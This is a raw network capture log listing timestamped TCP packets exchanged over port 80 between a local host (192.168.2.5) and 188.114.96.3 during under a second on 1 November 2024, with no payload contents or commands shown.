Nov 1, 2024 15:15:00.786968946 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.786979914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787019014 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787019014 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787122011 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787132978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787142992 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787163019 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787172079 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787172079 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787173986 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787184000 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787197113 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787205935 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787205935 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787206888 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787220001 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787230968 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787240028 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787244081 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787250996 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787254095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787266970 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787277937 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787290096 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787293911 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787293911 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787302017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787317991 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787343025 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787343025 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787379980 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787558079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787571907 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787587881 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787600040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787611008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787621975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787631989 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787642002 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787648916 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787648916 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787650108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787653923 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787664890 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787671089 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787677050 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787687063 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787697077 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787708998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787718058 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787719965 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787731886 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787741899 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787755013 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787761927 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787766933 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787772894 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787772894 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787772894 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787779093 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.787797928 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.787817955 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788013935 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788028955 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788045883 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788059950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788070917 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788081884 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788091898 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788099051 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788099051 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788103104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788114071 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788124084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788136959 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788137913 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788137913 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788147926 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788158894 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788170099 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788181067 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788189888 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788189888 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788189888 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788192987 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788203955 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788216114 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788227081 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788235903 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788244963 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788244963 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788247108 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788258076 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788295984 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788295984 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788305044 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788476944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788487911 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788499117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788516045 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788526058 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788531065 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788537025 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788548946 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788558960 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788561106 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788573027 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788583040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788588047 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788594961 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788605928 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788616896 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788619041 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788625956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788635969 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788636923 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788647890 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788664103 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788670063 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788670063 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788676977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788687944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788700104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788708925 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788710117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788722038 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788729906 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788732052 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788746119 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788758039 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788769007 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788779020 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788789034 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788789034 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788790941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788800955 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788805962 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788811922 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788822889 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788834095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788835049 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788846970 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.788861036 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788861036 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.788894892 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789005995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789016962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789031029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789048910 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789067030 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789150953 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789161921 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789171934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789182901 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789192915 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789201021 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789203882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789215088 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789220095 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789226055 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789237022 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789239883 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789247990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789259911 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789268970 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789271116 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789282084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789283991 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789299011 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789299011 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789310932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789326906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789334059 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789336920 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789347887 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789357901 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789359093 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789370060 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789381981 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789386988 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789388895 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789393902 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789400101 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789410114 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789410114 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789418936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789431095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789444923 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789455891 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789467096 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789473057 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789473057 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789473057 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789479017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789483070 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789490938 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789499998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789510965 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789521933 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789532900 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789544106 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789544106 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789544106 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789545059 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789557934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789570093 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789578915 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789578915 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789582014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789592028 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789602995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789613008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.789638996 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789638996 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.789660931 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790268898 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790280104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790288925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790301085 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790312052 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790323019 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790327072 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790335894 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790347099 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790349007 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790349007 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790358067 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790369034 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790375948 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790375948 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790380001 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790393114 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790404081 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790419102 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790421009 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790421009 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790431023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790441990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790441990 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790452957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790469885 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790483952 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790483952 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790488958 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790499926 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790509939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790522099 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790529966 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790529966 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790533066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790544987 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790545940 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790555954 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790566921 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790569067 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790577888 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790587902 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790592909 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790600061 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790611029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790621042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790631056 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790631056 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790632010 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790642977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790654898 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790664911 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790666103 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790678978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790690899 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790692091 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790702105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790709019 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790713072 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.790744066 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.790762901 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.793912888 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.793934107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.793942928 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794015884 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794037104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794044018 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794044018 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794048071 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794075966 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794109106 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794131041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794141054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794152021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794168949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794179916 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794186115 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794188976 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794202089 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794208050 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794225931 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794251919 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794353962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794363976 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794375896 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794390917 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794399023 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794399023 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794401884 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794414997 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794425964 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794436932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794455051 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794462919 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794462919 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794462919 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794462919 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794466019 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794476986 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794487000 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794495106 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794503927 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794513941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794524908 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794527054 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794534922 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794540882 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794547081 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794559956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794574976 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794574976 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794589043 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794594049 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794600964 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794610977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794621944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794626951 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794660091 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794719934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794730902 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794740915 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794751883 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794764042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794776917 CET	80	49874	188.114.96.3	192.168.2.5
